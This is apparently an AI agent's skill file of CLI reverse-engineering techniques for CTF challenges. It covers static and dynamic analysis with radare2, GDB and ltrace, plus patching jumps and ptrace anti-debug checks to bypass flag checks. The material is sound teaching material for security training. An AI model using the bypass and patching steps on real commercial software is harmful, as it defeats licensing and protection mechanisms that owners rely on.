description: CTF reverse engineering — static analysis with radare2/objdump, dynamic analysis with GDB/ltrace/strace, anti-debug bypass, patching, and decompilation without GUI tools
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# CTF Reverse Engineering
|
|
9
|
+
|
|
10
|
+
RE = understand what a binary does → find the flag check → extract or bypass it. All CLI tools, no Ghidra required.
|
|
11
|
+
|
|
12
|
+
## AIRecon Docker Constraints (Headless Only)
|
|
13
|
+
|
|
14
|
+
- Engine runs in Docker CLI context; do not rely on GUI workflows.
|
|
15
|
+
- Do NOT use GUI tools such as Ghidra UI, IDA UI, Binary Ninja UI, Cutter, or x64dbg.
|
|
16
|
+
- Use headless CLI flow only: `file`, `checksec`, `strings`, `readelf`, `objdump`, `radare2`, `gdb`, `ltrace`, `strace`.
|
|
17
|
+
- For decompilation in headless mode, prefer:
|
|
18
|
+
- `r2 -A -q -c "pdg @ main" ./challenge`
|
|
19
|
+
- batch-style extraction and save output into `output/` files for later reasoning.
|
|
20
|
+
- In AIRecon, always execute via tool calls (`execute`, `read_file`, `create_file`) and persist every important artifact.
|
|
21
|
+
|
|
22
|
+
**Install:**
|
|
23
|
+
```
|
|
24
|
+
sudo apt-get install -y radare2 gdb ltrace strace binutils file strings xxd patchelf
|
|
25
|
+
pip install pyinstxtractor --break-system-packages
|
|
26
|
+
sudo apt-get install -y upx-ucl
|
|
27
|
+
# r2ghidra (decompiler plugin for radare2):
|
|
28
|
+
r2pm -ci r2ghidra
|
|
29
|
+
# RetDec (decompiler):
|
|
30
|
+
pip install retdec-python --break-system-packages
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
---
|
|
34
|
+
|
|
35
|
+
## Initial Analysis
|
|
36
|
+
|
|
37
|
+
# File type and architecture:
|
|
38
|
+
file ./challenge
|
|
39
|
+
# ELF 64-bit LSB executable, x86-64 / ARM / MIPS
|
|
40
|
+
# PE32+ executable (Windows in Wine/Docker)
|
|
41
|
+
|
|
42
|
+
# Security protections:
|
|
43
|
+
checksec --file=./challenge
|
|
44
|
+
|
|
45
|
+
# Strings — often reveals flag format or hints:
|
|
46
|
+
strings ./challenge | grep -i "flag\|CTF\|correct\|wrong\|password\|key"
|
|
47
|
+
strings -n 4 ./challenge | head -50
|
|
48
|
+
|
|
49
|
+
# Hex dump — check structure:
|
|
50
|
+
xxd ./challenge | head -30
|
|
51
|
+
|
|
52
|
+
# Dynamic library dependencies:
|
|
53
|
+
ldd ./challenge
|
|
54
|
+
readelf -d ./challenge | grep NEEDED
|
|
55
|
+
|
|
56
|
+
---
|
|
57
|
+
|
|
58
|
+
## Static Analysis — objdump
|
|
59
|
+
|
|
60
|
+
# Disassemble all functions:
|
|
61
|
+
objdump -d ./challenge | less
|
|
62
|
+
|
|
63
|
+
# Disassemble specific function:
|
|
64
|
+
objdump -d ./challenge | grep -A50 "<main>:"
|
|
65
|
+
objdump -d ./challenge | grep -A50 "<check_flag>:"
|
|
66
|
+
|
|
67
|
+
# Show all symbols:
|
|
68
|
+
nm ./challenge
|
|
69
|
+
nm -D ./challenge # dynamic symbols
|
|
70
|
+
|
|
71
|
+
# Show all sections:
|
|
72
|
+
readelf -S ./challenge
|
|
73
|
+
|
|
74
|
+
# Extract .rodata (read-only data — often contains strings, flags):
|
|
75
|
+
objdump -s -j .rodata ./challenge
|
|
76
|
+
|
|
77
|
+
# Show PLT/GOT (imported functions):
|
|
78
|
+
objdump -d -j .plt ./challenge
|
|
79
|
+
|
|
80
|
+
---
|
|
81
|
+
|
|
82
|
+
## Static Analysis — radare2
|
|
83
|
+
|
|
84
|
+
r2 ./challenge # Open (analysis not automatic)
|
|
85
|
+
r2 -A ./challenge # Open + auto-analyze (slow but thorough)
|
|
86
|
+
|
|
87
|
+
# Inside r2 shell:
|
|
88
|
+
aaa # Analyze all (functions, xrefs, strings)
|
|
89
|
+
afl # List all functions
|
|
90
|
+
afl | grep main # Find main
|
|
91
|
+
s main # Seek to main
|
|
92
|
+
pdf # Print disassembly of current function
|
|
93
|
+
pdf @ sym.check_flag # Disassemble specific function
|
|
94
|
+
px 64 @ 0x4020a0 # Hex dump 64 bytes at address
|
|
95
|
+
ps @ 0x4020a0 # Print string at address
|
|
96
|
+
iz # List all strings in binary
|
|
97
|
+
axt @ 0x4020a0 # Find cross-references TO address
|
|
98
|
+
VV # Visual mode (graph view — navigate with arrows)
|
|
99
|
+
q # Quit
|
|
100
|
+
|
|
101
|
+
# Decompile with r2ghidra plugin:
|
|
102
|
+
r2 -A ./challenge
|
|
103
|
+
pdg @ main # Decompile main (r2ghidra)
|
|
104
|
+
pdgd @ sym.check # Decompile check function
|
|
105
|
+
|
|
106
|
+
# One-liner: decompile main and quit:
|
|
107
|
+
r2 -A -q -c "pdg @ main" ./challenge 2>/dev/null
|
|
108
|
+
|
|
109
|
+
---
|
|
110
|
+
|
|
111
|
+
## Dynamic Analysis — ltrace / strace
|
|
112
|
+
|
|
113
|
+
# ltrace: intercept library calls (strcmp, strcpy, strlen, etc.)
|
|
114
|
+
ltrace ./challenge
|
|
115
|
+
ltrace -s 200 ./challenge # Show strings up to 200 chars
|
|
116
|
+
|
|
117
|
+
# Very common CTF pattern — strcmp with flag:
|
|
118
|
+
ltrace ./challenge <<< "test_input"
|
|
119
|
+
# Output: strcmp("test_input", "CTF{real_flag_here}") = -1
|
|
120
|
+
# → flag is the second argument to strcmp!
|
|
121
|
+
|
|
122
|
+
# strace: trace system calls (read, write, open, execve)
|
|
123
|
+
strace ./challenge
|
|
124
|
+
strace -e trace=read,write ./challenge # Only read/write syscalls
|
|
125
|
+
|
|
126
|
+
# Trace file access:
|
|
127
|
+
strace -e trace=open,openat,read ./challenge 2>&1 | grep -v "/lib\|/proc\|/dev"
|
|
128
|
+
|
|
129
|
+
---
|
|
130
|
+
|
|
131
|
+
## Dynamic Analysis — GDB
|
|
132
|
+
|
|
133
|
+
gdb ./challenge
|
|
134
|
+
|
|
135
|
+
# Set Intel syntax (cleaner):
|
|
136
|
+
set disassembly-flavor intel
|
|
137
|
+
|
|
138
|
+
# Basic flow:
|
|
139
|
+
break main
|
|
140
|
+
run
|
|
141
|
+
next # Next source line
|
|
142
|
+
nexti # Next instruction
|
|
143
|
+
stepi # Step into call
|
|
144
|
+
continue
|
|
145
|
+
finish # Run to end of current function
|
|
146
|
+
|
|
147
|
+
# Examine memory:
|
|
148
|
+
x/s 0x<address> # String at address
|
|
149
|
+
x/10wx $rsp # 10 words at RSP
|
|
150
|
+
x/20i $rip # 20 instructions at RIP
|
|
151
|
+
|
|
152
|
+
# Patch return value (bypass check):
|
|
153
|
+
break *0x<check_function_end>
|
|
154
|
+
run
|
|
155
|
+
set $rax = 1 # Force return value to 1 (true)
|
|
156
|
+
continue
|
|
157
|
+
|
|
158
|
+
# Patch byte in memory:
|
|
159
|
+
set *(unsigned char*)0x<address> = 0x90 # NOP
|
|
160
|
+
|
|
161
|
+
# Read register:
|
|
162
|
+
info registers
|
|
163
|
+
p $rax
|
|
164
|
+
p/x $rbx
|
|
165
|
+
|
|
166
|
+
# Set breakpoint on strcmp (catch flag comparison):
|
|
167
|
+
break strcmp
|
|
168
|
+
run <<< "AAAA"
|
|
169
|
+
# When stopped: x/s $rdi, x/s $rsi → see both arguments
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
## Patching Binaries
|
|
174
|
+
|
|
175
|
+
# Patch a jump instruction to bypass check:
|
|
176
|
+
# Find instruction address: objdump -d ./challenge | grep "je\|jne\|jz\|jnz"
|
|
177
|
+
# Change je (0x74) to jmp (0xeb), or jne (0x75) to nop (0x90 0x90)
|
|
178
|
+
|
|
179
|
+
# Using radare2 (write mode):
|
|
180
|
+
r2 -w ./challenge
|
|
181
|
+
s 0x<address_of_jump>
|
|
182
|
+
wa nop nop # Write 2 NOPs
|
|
183
|
+
wa jmp 0x<target> # Write unconditional jump
|
|
184
|
+
q
|
|
185
|
+
|
|
186
|
+
# Using python/xxd:
|
|
187
|
+
python3 -c "
|
|
188
|
+
data = open('./challenge', 'rb').read()
|
|
189
|
+
# Change byte at offset 0x1234 from 0x75 (jne) to 0xeb (jmp)
|
|
190
|
+
data = data[:0x1234] + b'\xeb' + data[0x1235:]
|
|
191
|
+
open('./challenge_patched', 'wb').write(data)
|
|
192
|
+
"
|
|
193
|
+
chmod +x ./challenge_patched
|
|
194
|
+
|
|
195
|
+
---
|
|
196
|
+
|
|
197
|
+
## Packed / Obfuscated Binaries
|
|
198
|
+
|
|
199
|
+
# Detect packer:
|
|
200
|
+
file ./challenge # "UPX compressed" visible
|
|
201
|
+
strings ./challenge | grep -i "upx\|packer\|packed"
|
|
202
|
+
|
|
203
|
+
# UPX unpack:
|
|
204
|
+
upx -d ./challenge -o ./challenge_unpacked
|
|
205
|
+
|
|
206
|
+
# Generic unpack via memory dump in GDB:
|
|
207
|
+
# Run packed binary → let it unpack in memory → dump process memory
|
|
208
|
+
gdb ./challenge
|
|
209
|
+
run
|
|
210
|
+
# After unpacking (usually at OEP), dump:
|
|
211
|
+
generate-core-file # Creates core dump
|
|
212
|
+
|
|
213
|
+
---
|
|
214
|
+
|
|
215
|
+
## Python / Script Binaries
|
|
216
|
+
|
|
217
|
+
# Python compiled (.pyc):
|
|
218
|
+
python3 -m dis challenge.pyc # Disassemble bytecode
|
|
219
|
+
uncompyle6 challenge.pyc # Decompile to source
|
|
220
|
+
# sudo apt-get install -y python3-uncompyle6 OR pip install uncompyle6
|
|
221
|
+
|
|
222
|
+
# PyInstaller frozen executable:
|
|
223
|
+
python3 -m pyinstxtractor challenge # Extract .pyc files
|
|
224
|
+
# Then: uncompyle6 challenge.pyc
|
|
225
|
+
|
|
226
|
+
# Java .class / .jar:
|
|
227
|
+
javap -c challenge.class # Disassemble
|
|
228
|
+
# cfr decompiler: java -jar cfr.jar challenge.jar
|
|
229
|
+
|
|
230
|
+
---
|
|
231
|
+
|
|
232
|
+
## Common CTF RE Patterns
|
|
233
|
+
|
|
234
|
+
# Pattern 1: strcmp flag check
|
|
235
|
+
ltrace ./challenge <<< "test" 2>&1 | grep strcmp
|
|
236
|
+
# → get the expected string directly
|
|
237
|
+
|
|
238
|
+
# Pattern 2: XOR obfuscation
|
|
239
|
+
python3 -c "
|
|
240
|
+
encrypted = [0x42, 0x6c, 0x61, 0x68] # from strings/radare2
|
|
241
|
+
key = 0x13
|
|
242
|
+
flag = ''.join(chr(b ^ key) for b in encrypted)
|
|
243
|
+
print(flag)
|
|
244
|
+
"
|
|
245
|
+
|
|
246
|
+
# Pattern 3: Check character by character (timing/branch)
|
|
247
|
+
# Use GDB to step through comparison loop, read expected chars one by one
|
|
248
|
+
|
|
249
|
+
# Pattern 4: Anti-debug (ptrace check)
|
|
250
|
+
strace ./challenge 2>&1 | grep ptrace # Detects ptrace call
|
|
251
|
+
# Bypass: patch the ptrace call or its check:
|
|
252
|
+
# Find in objdump: call ptrace → NOP or force return 0
|
|
253
|
+
|
|
254
|
+
# Pattern 5: Multiple flag characters combined
|
|
255
|
+
# Binary builds flag character by character in loop → set breakpoints in loop
|
|
256
|
+
|
|
257
|
+
---
|
|
258
|
+
|
|
259
|
+
## Windows Binaries (PE) in Docker
|
|
260
|
+
|
|
261
|
+
# Run with Wine:
|
|
262
|
+
sudo apt-get install -y wine
|
|
263
|
+
wine ./challenge.exe
|
|
264
|
+
|
|
265
|
+
# Static analysis:
|
|
266
|
+
strings ./challenge.exe | grep -i "flag\|correct\|wrong"
|
|
267
|
+
# PE tools:
|
|
268
|
+
python3 -m pefile challenge.exe # OR: pip install pefile
|
|
269
|
+
|
|
270
|
+
---
|
|
271
|
+
|
|
272
|
+
## Pro Tips
|
|
273
|
+
|
|
274
|
+
1. **Always run `ltrace` first** — catches strcmp/memcmp comparisons which immediately reveal flags
|
|
275
|
+
2. `strings | grep -i "flag\|correct\|wrong"` — many easy RE challenges embed flag directly
|
|
276
|
+
3. `r2 -A -q -c "pdg @ main"` — decompile main in one command via r2ghidra
|
|
277
|
+
4. GDB `break strcmp; run` → `x/s $rdi` `x/s $rsi` catches every string comparison
|
|
278
|
+
5. UPX packed? `upx -d` immediately, then analyze the clean binary
|
|
279
|
+
6. Anti-debug → `strace` to find `ptrace` call → patch the check with radare2 write mode
|
|
280
|
+
7. Python frozen executables → `pyinstxtractor` → `uncompyle6` to get source code
|
|
281
|
+
|
|
282
|
+
## Summary
|
|
283
|
+
|
|
284
|
+
RE flow: `file` → `strings | grep flag` → `ltrace ./challenge` (catches strcmp) → `strace` (catches file/network ops) → `r2 -A` + `pdg` (decompile) → `gdb` for dynamic patching. Most CTF RE is: find the comparison, extract or satisfy the expected value. Use `ltrace` — it's the fastest path to the flag in 80% of challenges.
|